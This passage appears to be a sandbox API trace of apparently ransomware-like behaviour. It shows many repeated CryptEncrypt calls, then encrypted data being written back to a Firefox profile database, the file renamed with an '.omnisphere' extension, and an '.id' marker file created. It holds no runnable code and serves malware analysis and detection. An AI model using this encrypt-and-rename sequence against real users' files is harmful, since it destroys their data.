1 [0156.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.267] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.267] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.267] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.267] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.267] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.267] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.267] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.267] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.267] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.267] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.267] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.267] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.267] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.267] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.267] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.267] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.267] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.267] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.267] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.267] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.267] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.267] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.267] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.267] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.268] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.268] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.268] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.268] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.268] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.268] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.268] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.268] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.268] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.268] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.268] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.268] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.268] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.268] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.268] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.268] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.268] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.268] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.268] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.268] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.268] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.268] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.269] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.269] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.269] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.269] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.269] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.269] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.269] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.269] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.269] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.269] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.269] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.269] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.269] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.269] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.269] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.269] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.269] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.269] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.269] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.269] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.269] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.270] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.270] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.270] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.270] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.270] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.270] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.270] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.270] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.270] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.270] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.270] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.270] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.270] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.270] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.270] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.270] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.278] CryptDestroyKey (hKey=0x1639528) returned 1 [0156.278] CryptReleaseContext (hProv=0x16691a8, dwFlags=0x0) returned 1 [0156.278] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x38000, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0156.278] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0156.278] GetProcessHeap () returned 0x1600000 [0156.278] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2dc) returned 0x1734688 [0156.278] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\content-prefs.sqlite"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\content-prefs.sqlite.omnisphere")) returned 1 [0156.279] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite.omnisphere.id" [0156.279] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\content-prefs.sqlite.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0156.293] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0156.294] CloseHandle (hObject=0x388) returned 1 [0156.294] UnmapViewOfFile (lpBaseAddress=0x3c00000) returned 1 [0156.296] CloseHandle (hObject=0x3c0) returned 1 [0156.296] SetEndOfFile (hFile=0x288) returned 1 [0156.491] FlushFileBuffers (hFile=0x288) returned 1 [0156.685] CloseHandle (hObject=0x288) returned 1 [0156.685] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default") returned 1 [0156.685] GetProcessHeap () returned 0x1600000 [0156.685] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1744bb0 [0156.685] 